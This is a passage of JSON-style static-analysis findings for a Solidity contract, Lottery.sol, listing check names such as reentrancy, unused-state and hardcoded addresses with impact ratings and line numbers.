573, 574, 575]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [292]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [704, 705, 706, 707, 708, 709, 710, 703]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1001]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [736, 728, 729, 730, 731, 732, 733, 734, 735]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [435, 436, 437, 438, 439, 440]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [1344]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [1339]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [941]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [997]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [1343]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [1323]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1343]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [314]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [390]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [385]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [431]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [410]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [425]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [597]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [405]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [591]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [917]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [929]}}, {"check": "uninitialized-state", "impact": "High", "confidence": "High", "lines": {"Lottery.sol": [1254]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [270]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [234]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [237]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [243]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [240]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [265]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 325, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 326, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 330, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 331, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 335, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 336, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 340, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 341, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 345, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 346, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 350, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 351, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 354, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 355, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 358, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 359, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 232, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 235, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 238, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 241, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 294, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 295, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 296, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 297, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 298, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 299, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1011, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1015, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1055, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 992, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1024, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1027, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1104, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1104, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1122, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 949, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1068, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1071, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1089, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1147, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 88, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 101, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 107, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 121, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 168, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 193, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 225, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 229, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 247, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 251, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 255, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 263, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 268, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 273, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 277, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 281, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 773, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 915, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 927, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1236, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 827, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 853, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 854, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 855, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 856, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 857, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 883, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 920, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 932, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1354, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 832, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 773, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 804, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 827, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 853, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 854, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 855, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 856, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 857, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 883, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 920, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 932, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1354, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 832, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1154, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 33, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 31, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 31, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1248, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 217, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 218, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 219, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 220, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 221, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 222, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 223, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 949, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1068, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1071, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1089, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1145, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1336, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 